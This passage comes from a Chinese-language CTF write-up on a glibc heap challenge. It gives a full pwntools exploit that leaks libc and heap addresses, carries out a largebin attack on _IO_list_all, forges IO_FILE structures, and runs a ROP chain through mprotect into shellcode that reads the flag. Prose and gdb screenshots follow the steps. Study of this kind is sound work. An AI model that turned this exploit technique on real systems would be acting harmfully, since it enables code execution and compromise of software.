io.sendline(str(idx).encode())\n\ndef exit():\n    io.recvuntil(b'enter your command: \\n')\n    io.sendline(b'9')\n\nio.sendlineafter(b'enter your key &gt;&gt;\\n', str(10).encode())\nadd(2)#0\nadd(2)#1\nadd(1)#2\ndelete(2)\ndelete(1)\ndelete(0)\nadd(1)#3\nadd(1)#4\nadd(1)#5\nadd(1)#6\ndelete(3)\ndelete(5)\nshow(3)\nlibc_base = u64(io.recvuntil(b'\\x7f')&#91;-6:].ljust(8, b'\\x00')) - 0x1f2cc0\nio.recv(2)\nheap_base = u64(io.recv(6).ljust(8, b'\\x00')) - 0x17f0\ndelete(4)\ndelete(6)\nadd(3)#7\nadd(1)#8\nadd(1)#9\ndelete(8)\nadd(3)#10\n\ntarget_addr = libc_base + libc.sym&#91;'_IO_list_all']\n_IO_wstrn_jumps = libc_base + 0x1f3d20\n_IO_cookie_jumps = libc_base + 0x1f3ae0\n_lock = libc_base + 0x1f5720\npoint_guard_addr = _IO_wstrn_jumps+0xf910\nexpected = heap_base + 0x1900\nchain = heap_base + 0x1910\nmagic_gadget = libc_base + 0x146020\nprint('target_addr:',hex(target_addr))\nprint('expected:',hex(expected))\nprint('chain:',hex(chain))\nprint('magic_gadget:',hex(magic_gadget))\nprint('point_guard_addr:',hex(point_guard_addr))\nprint('_IO_wstrn_jumps:',hex(_IO_wstrn_jumps))\nprint('_IO_cookie_jumps:',hex(_IO_cookie_jumps))\nprint('_lock:',hex(_lock))\n\n\nmov_rsp_rdx_ret = libc_base + 0x56530\nadd_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449\npop_rdi_ret = libc_base + 0x2daa2\npop_rsi_ret = libc_base + 0x37c0a\npop_rdx_rbx_ret = libc_base + 0x87729\n\nf1 = IO_FILE_plus_struct()\nf1._IO_read_ptr = 0xa81\nf1.chain = chain\n# f1._flags2 = 8\nf1._lock = _lock\nf1._mode = 0\nf1._wide_data = point_guard_addr\nf1.vtable = _IO_wstrn_jumps\n\nf2 = IO_FILE_plus_struct()\nf2._IO_write_base = 0\nf2._IO_write_ptr = 1\nf2._mode = 0\nf2._lock = _lock\n# f2._flags2 = 8\nf2.vtable = _IO_cookie_jumps + 0x58\n\ndata = flat({\n    0x8: target_addr - 0x20,\n    0x10: {\n        0: {\n            0: bytes(f1),\n            0x100:{\n                0: bytes(f2),\n                0xe0: &#91;chain + 0x100, rol(magic_gadget ^ expected, 0x11)],\n                0x100: &#91;\n                    add_rsp_0x20_pop_rbx_ret,\n                    chain + 0x100,\n                    0,\n                    0,\n                    mov_rsp_rdx_ret,\n                    0,\n                    pop_rdi_ret,\n                    chain &amp; ~0xfff,\n                    pop_rsi_ret,\n                    0x4000,\n                    pop_rdx_rbx_ret,\n                    7, 0,\n                    libc_base + libc.sym&#91;'mprotect'],\n                    chain + 0x200\n                ],\n                0x200: asm(shellcraft.open('.\/flag', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100))\n            }\n        },\n        0xa80: &#91;0, 0xab1]\n    }\n})\nedit(5, data)\ndelete(2)\nadd(3)\nattach(io)\npause()\nexit()\nio.interactive()<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u9010\u884c\u5206\u6790\uff0c\u9996\u5148\u9898\u76eeadd\u4e863\u4e2a\u5806\u5757\uff0c\u53c8\u628a\u4ed6\u4eec\u5220\u6389\u4e86\uff0c\u90a3\u4e48\u53ef\u4ee5\u753b\u51fa\u5982\u4e0b\u7684\u56fe<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(2)#0\nadd(2)#1\nadd(1)#2\ndelete(2)\ndelete(1)\ndelete(0)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-32.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"203\" height=\"379\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-32.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-249\"  sizes=\"(max-width: 203px) 100vw, 203px\" \/><\/div><\/figure>\n\n\n\n<p>\u540e\u6587\u7686\u7528\u201c*\u201d\u6765\u8868\u793a\u6307\u9488\u8868\u91cc\u6709\u8fd9\u4e2a\u6307\u9488<\/p>\n\n\n\n<p>\u63a5\u7740\u5168\u5220\u9664\u4e4b\u540e\uff0c\u7531\u4e8e\u5927\u5c0f\u90fd\u653e\u5728unsortedbin\u91cc\uff0c\u800cunsortedbin\u53c8\u4f1a\u548ctop  chunk\u5408\u5e76\uff0c\u6240\u4ee5\u5806\u5757\u4f1a\u56de\u5230\u521d\u59cb\u72b6\u6001\uff0c\u5373\u4ec0\u4e48\u4e5f\u6ca1\u6709<\/p>\n\n\n\n<p>\u63a5\u4e0b\u6765<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(1)#3\nadd(1)#4\nadd(1)#5\nadd(1)#6\ndelete(3)\ndelete(5)\nshow(3)\nlibc_base = u64(io.recvuntil(b'\\x7f')&#91;-6:].ljust(8, b'\\x00')) - 0x1f2cc0\nio.recv(2)\nheap_base = u64(io.recv(6).ljust(8, b'\\x00')) - 0x17f0\ndelete(4)\ndelete(6)<\/code><\/pre>\n\n\n\n<p>\u6211\u4eec\u53ef\u4ee5\u7ee7\u7eed\u753b\u56fe<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-33.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"418\" height=\"365\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-33.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-250\"  sizes=\"(max-width: 418px) 100vw, 418px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u8981\u6ce8\u610f\u548c\u7b2c\u4e00\u6b21\u7684\u4e09\u4e2aadd\u4e0a\u5927\u5c0f\u4e4b\u95f4\u7565\u6709\u5dee\u522b\uff0c\u5220\u63893,5\u540e\uff0c\u4e24\u4e2a\u5806\u5757\u4f1a\u88ab\u5206\u522b\u653e\u5165unsortedbin\u91cc\uff0c\u7531\u4e8e4\u7684\u95f4\u9694\uff0c\u4e8c\u8005\u4e0d\u4f1a\u5408\u5e76\uff0c\u4ece\u800c\u5176fd\uff0cbk\u5206\u522b\u6307\u5411\u4e86libc\u5730\u5740\u548c\u5806\u5730\u5740<\/p>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-34.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"844\" height=\"108\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-34.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-251\" style=\"width:840px;height:auto\"  sizes=\"(max-width: 844px) 100vw, 844px\" \/><\/div><\/figure>\n\n\n\n<p>show\uff083\uff09\u4e00\u4e0b\uff0c\u5373\u53ef\u5229\u7528\u552f\u4e00\u7684\u4e00\u6b21show\u673a\u4f1a\u540c\u65f6\u6cc4\u6f0f\u51falibc\u548cheap<\/p>\n\n\n\n<p>show\u5b8c\u4e86\u5220\u63894,6\uff0c\u7531\u4e8e\u5408\u5e76\u7684\u539f\u56e0\uff0c\u5806\u5757\u53c8\u4f1a\u56de\u5230\u521d\u59cb\u72b6\u6001<\/p>\n\n\n\n<p>\u63a5\u4e0b\u6765<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>add(3)#7\nadd(1)#8\nadd(1)#9\ndelete(8)\nadd(3)#10\n#data\u7684\u5177\u4f53\u5185\u5bb9\u7a0d\u540e\u5206\u6790\nedit(5, data)\ndelete(2)\nadd(3)<\/code><\/pre>\n\n\n\n<p>\u7ed8\u5236\u4e00\u4e0b\u5982\u56fe\uff0c\u91cd\u70b9\u5173\u6ce8\u4e24\u4e2a\u6807\u7ea2\u7684\u5806\u5757<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-36.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"627\" height=\"456\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-36.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-253\"  sizes=\"(max-width: 627px) 100vw, 627px\" \/><\/div><\/figure>\n\n\n\n<p>delete\uff088\uff09\u7136\u540e\u518dadd\uff083\uff09\u662f\u4e3a\u4e86\u9996\u5148\u5c06\u5806\u57578\u653e\u5165unsortedbin\u91cc\uff0c\u7136\u540e\u7533\u8bf7\u4e00\u4e2a\u6bd4\u4ed6\u5927\u7684\u5806\u5757\uff0c\u8ba9\u5806\u57578\u653e\u5165largebin\u91cc\uff0c\u63a5\u7740\uff0c\u6211\u7f16\u8f91\u5806\u57575\uff0c\u8be5\u5199\u5176bk_nextsize\u540c\u65f6\u5728\u539f\u5148\u5806\u57572\u7684\u4f4d\u7f6e\u4f2a\u9020\u4e00\u4e2a\u5806\u5757\uff08\u56e0\u4e3a\u5806\u57572\u5148\u524d\u5df2\u7ecf\u91ca\u653e\u8fc7\u4e86\uff0c\u4e0d\u52a0\u4f2a\u9020\u76f4\u63a5\u91ca\u653e\u7684\u8bdd\u4f1a\u62a5\u9519\uff09\uff0c\u628a\u4ed6\u7684size\u4f4d\u8bbe\u7f6e\u62100xa81,\uff08\u56e0\u4e3a\u5806\u57578\u7684size\u4e3a0xab1\uff0c\u90a3\u4e48\u5728\u5806\u57572\u7684\u4f4d\u7f6e\u7406\u5e94\u662f0xab1-0x30=0xa81\uff0c\u540c\u65f60xab1\u548c0xa81\u4e5f\u5728largebin\u7684\u540c\u4e00\u6761\u94fe\u4e2d\uff0c\u6ee1\u8db3largebin attack\u7684\u89e6\u53d1\u6761\u4ef6\uff09\uff0c\u5728\u7f16\u8f91\u5b8c\u5806\u57575\u540e\uff0c\u5806\u57578\u7684bk_nextsize\u4f4d\u7f6e\u6307\u5411\u4e86_IO_list_all-0x20\u7684\u4f4d\u7f6e\uff0c\u5806\u57572\u7684size\u4f4d\u4f2a\u9020\u6210\u4e860xa81\uff0c\u63a5\u7740delete\uff082\uff09\uff0c\u628a\u5806\u57572\u653e\u5165unsortedbin\u91cc\uff0c\u5728add\uff083\uff09\uff0c\u8ba9\u5806\u57572\u8fdb\u5165largebin\u7684\u540c\u65f6\u5b8c\u6210largebin attack\u3002\u6b64\u65f6_IO_list_all\u88ab\u5199\u5165\u5806\u57572\u7684\u5730\u5740\uff0c\u540c\u65f6\u5728\u7f16\u8f91\u5806\u57575\u7684\u65f6\u5019\u5df2\u7ecf\u5c06\u4f2a\u9020\u7684IO\u7ed3\u6784\u4f53\u540c\u6b65\u5199\u597d\u4e86\u3002<\/p>\n\n\n\n<p>\u90a3\u4e48\u4e3a\u4ec0\u4e48\u8981\u8fd9\u6837\u5927\u8d39\u5468\u7ae0\u7684\u53bb\u4f2a\u9020\u5806\u5757\u5462\uff1f\u76f4\u63a5\u5728\u4e0b\u9762\u7533\u8bf7\u4e2a\u65b0\u7684\u5806\u5757\u4e0d\u4e5f\u80fd\u5b9e\u73b0largebin attack\u5417\uff1f\u539f\u56e0\u5c31\u662f\u4f60\u53ea\u6709\u4e00\u6b21edit\u7684\u673a\u4f1a\uff0c\u4f60\u5fc5\u987b\u8981\u4fdd\u8bc1\u5728largebin attack\u540e_IO_list_all\u6307\u5411\u7684\u5806\u5730\u5740\u91cc\u9762\u662f\u4f60\u4f2a\u9020\u7684IO\u7ed3\u6784\u4f53\uff0c\u7136\u800c\u5728\u8fd9\u4e2a\u9898\u4e2d\uff0c\u5982\u679c\u4e0d\u8fdb\u884c\u4f2a\u9020\uff0c\u5047\u8bbe\u6709AB\u4e24\u5806\u5757\u987a\u6b21\u6392\u5217\uff0c\u6b64\u65f6A\u5df2\u7ecf\u5728largebin\u91cc\uff0c\u90a3\u4e48\u4f60\u5982\u679c\u4fee\u6539A\u7684bk_nextsize\u6307\u9488\uff0c\u7136\u540e\u91ca\u653eB\u89e6\u53d1largebin attack\uff0c\u90a3\u4f60_IO_list_all\u6307\u9488\u6307\u5411\u7684\u662fB\uff0c\u800cB\u91cc\u662f\u7a7a\u7684\u6ca1\u6709\u4e1c\u897f\uff0c\u4f60\u4e5f\u6ca1\u673a\u4f1a\u5728\u4fee\u6539\u4e86\uff0c\u5982\u679c\u4f60\u4fee\u6539\u7684\u662fB\uff0c\u90a3\u4e48\u4f60\u6ca1\u6cd5\u5b8c\u6210largebin attack\uff0c\u6240\u4ee5\u8981\u60f3\u529e\u6cd5\u80fd\u591f\u540c\u65f6\u4fee\u6539bk_nextsize\u6307\u9488\uff0c\u53c8\u8ba9_IO_list_all\u6307\u5411\u4e00\u4e2a\u6211\u53ef\u4ee5\u63a7\u5236\u5185\u5bb9\uff0c\u6216\u8005\u6211\u5df2\u7ecf\u6784\u9020\u597d\u5185\u5bb9\u7684\u5730\u5740\uff0c\u4e8e\u662f\u624d\u8981\u4f2a\u9020\u5806\u5757\u3002<\/p>\n\n\n\n<p>\u5728\u8fd9\u91cc\u987a\u5634\u63d0\u4e24\u4e2a\u62a5\u9519<\/p>\n\n\n\n<p>1.\u5982\u679c\u4e0d\u4f2a\u9020\u5806\u57572\u7684size\u4f4d\u76f4\u63a5\u91ca\u653e\u4f1a\u62a5\u9519\u201cfree(): invalid next size (normal)\u201d\uff0c\u9605\u8bfb\u6e90\u7801\u53ef\u4ee5\u53d1\u73b0\u4ee5\u4e0b\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>nextchunk = chunk_at_offset(p, size);\n#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))\nif (__builtin_expect (chunksize_nomask (nextchunk) &lt;= 2 * SIZE_SZ, 0)\n\t|| __builtin_expect (nextsize &gt;= av-&gt;system_mem, 0))\n      malloc_printerr (\"free(): invalid next size (normal)\");\n\n#define chunksize_nomask(p)         ((p)-&gt;mchunk_size)\n# define __builtin_expect(expr, val) (expr)<\/code><\/pre>\n\n\n\n<p>\u8fd9\u51e0\u53e5\u8bdd\u8bf4\u767d\u4e86\u5c31\u662f\u5224\u65ad\u4e0b\u4e00\u4e2a\u5806\u5757nextchunk\u7684size\u5927\u5c0f\u662f\u5426\u5c0f\u4e8eminsize\uff0c\u662f\u5219\u62a5\u9519\uff0c\u800cnextchunk\u53c8\u662f\u6839\u636e\u5f53\u524dchunk+size\u53bb\u5bfb\u627e\uff0c\u7531\u4e8e\u6ca1\u6709\u4f2a\u9020size\uff0c\u6240\u4ee5nextchunk\u7684size\u81ea\u7136\u5c31\u662f\u5f53\u524dchunk\uff0c\u800c\u5f53\u524dchunk\u7684size\u53c8\u4e3a0\uff0c\u6240\u4ee5\u6ca1\u901a\u8fc7\u68c0\u67e5<\/p>\n\n\n\n<p>2.\u5982\u679c\u4f2a\u9020\u7684\u5806\u5757\u5927\u5c0f\u4e0d\u662f0xa81\uff0c\u800c\u662f0xa91\u62160xa71\u4e4b\u7c7b\u7684\uff0c\u4f1a\u62a5\u9519\u201cdouble free or corruption (!prev)\u201d\uff0c\u9605\u8bfb\u6e90\u7801\u53d1\u73b0\u4ee5\u4e0b\u4ee3\u7801<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if (__glibc_unlikely (!prev_inuse(nextchunk)))\n      malloc_printerr (\"double free or corruption (!prev)\");\n#define prev_inuse(p)       ((p)-&gt;mchunk_size &amp; PREV_INUSE)<\/code><\/pre>\n\n\n\n<p>\u8fd9\u6bb5\u4ee3\u7801\u8bf4\u767d\u4e86\u5c31\u662f\u5728\u5224\u65ad\u4e0b\u4e00\u4e2a\u5806\u5757\u7684size\u6700\u540e\u4e00\u4f4d\u662f\u5426\u4e3a1\uff08\u5373\u5224\u65ad\u4e0a\u4e00\u4e2a\u5806\u5757\u662f\u5426\u88ab\u5360\u7528\uff09\uff0c\u5982\u679c\u662f\u5219\u4e0d\u62a5\u9519\uff0c\u5426\u5219\u62a5\u9519\u3002<\/p>\n\n\n\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u770b\u5f80\u5806\u57575\u91cc\u5199\u5165\u7684data\u5177\u4f53\u662f\u4ec0\u4e48<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\"><em>f1 <\/em>= IO_FILE_plus_struct()<br><em>f1<\/em>._IO_read_ptr = 0xa81<em>#\u6539\u62100x271\u53ef\u4ee5\u901a\u8fc7\u68c0\u67e5\uff0c\u56e0\u4e3a\u76f8\u5e94\u504f\u79fb\u7684\u4f4d\u7f6e\u586b\u4e860x4000<br>f1<\/em>.chain = <em>chain<br># f1._flags2 = 8<br>f1<\/em>._lock = <em>_lock<br>f1<\/em>._mode = 0<br><em>f1<\/em>._wide_data = <em>point_guard_addr<br>f1<\/em>.vtable = <em>_IO_wstrn_jumps<br><br>f2 <\/em>= IO_FILE_plus_struct()<br><em>f2<\/em>._IO_write_base = 0<br><em>f2<\/em>._IO_write_ptr = 1<br><em>f2<\/em>._mode = 0<br><em>f2<\/em>._lock = <em>_lock<br># f2._flags2 = 8<br>f2<\/em>.vtable = <em>_IO_cookie_jumps <\/em>+ 0x58<br>data = flat({<br>    0x8: target_addr - 0x20,<br>    0x10: {<br>        0: {<br>            0: bytes(f1),<br>            0x100:{<br>                0: bytes(f2),<br>                0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],<br>                0x100: [<br>                    add_rsp_0x20_pop_rbx_ret,<br>                    chain + 0x100,<br>                    0,<br>                    0,<br>                    mov_rsp_rdx_ret,<br>                    0,<br>                    pop_rdi_ret,<br>                    chain &amp; ~0xfff,<br>                    pop_rsi_ret,<br>                    0x4000,<br>                    pop_rdx_rbx_ret,<br>                    7, 0,<br>                    libc_base + libc.sym['mprotect'],<br>                    chain + 0x200<br>                ],<br>                0x200: asm(shellcraft.open('.\/flag', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100))<br>            }<br>        },<br>        0xa80: [0, 0xab1]<br>    }<br>})<\/pre>\n\n\n\n<p>\u6211\u4eec\u653e\u5230gdb\u91cc\u76f4\u89c2\u5730\u770b\u4e00\u4e0b<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-37-1024x560.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"560\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-37-1024x560.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-259\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5176\u4e2dmagic gadget\u5728\u8fd9\u91cc<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/fa6e0654bc051d0b9d6000a94653648-1024x83.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"83\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/fa6e0654bc051d0b9d6000a94653648-1024x83.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-260\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u968f\u7740gdb\u7684\u811a\u6b65\u4e00\u8d77\u6765\u770b\u770b\u7a0b\u5e8f\u8c03\u7528\u8fc7\u7a0b\u4e2d\u53d1\u751f\u4e86\u4ec0\u4e48\uff0c\u65ad\u70b9\u4e0b\u5728add\uff083\uff09\u4ee5\u540e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-38-1024x234.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"234\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-38-1024x234.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-261\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f2a\u9020\u7684largebin\u7684\u5404\u9879\u6307\u9488\u5df2\u7ecf\u88ab\u4fee\u6539\uff0c\u540c\u65f6_IO_list_all\u5df2\u7ecf\u4fee\u6539\u6210\u5806\u5730\u5740<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"641\" height=\"60\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-262\"  sizes=\"(max-width: 641px) 100vw, 641px\" \/><\/div><\/figure>\n\n\n\n<p>\u63a5\u7740\u8c03\u7528exit\uff0c\u7a0b\u5e8f\u9000\u51fa\uff0c\u6267\u884cfflush\u51fd\u6570\u5f00\u59cb\u6211\u4eec\u7684\u653b\u51fb<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-40-869x1024.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"869\" height=\"1024\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-40-869x1024.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-263\"  sizes=\"(max-width: 869px) 100vw, 869px\" \/><\/div><\/figure>\n\n\n\n<p>\u7b2c\u4e00\u6b21\u8c03\u7528\u5230_IO_wstrn_overflow\u51fd\u6570\uff0c\u6309\u7167\u6211\u4eec\u7684\u63a8\u6d4b\uff0c\u4f1a\u67098\u4e2a\u503c\u88ab\u4fee\u6539\uff0c\u6ca1\u88ab\u4fee\u6539\u524d\u957f\u8fd9\u6837<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-41.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"829\" height=\"166\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2024\/08\/image-41.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-264\"  sizes=\"(max-width: 829px) 100vw, 829px\" 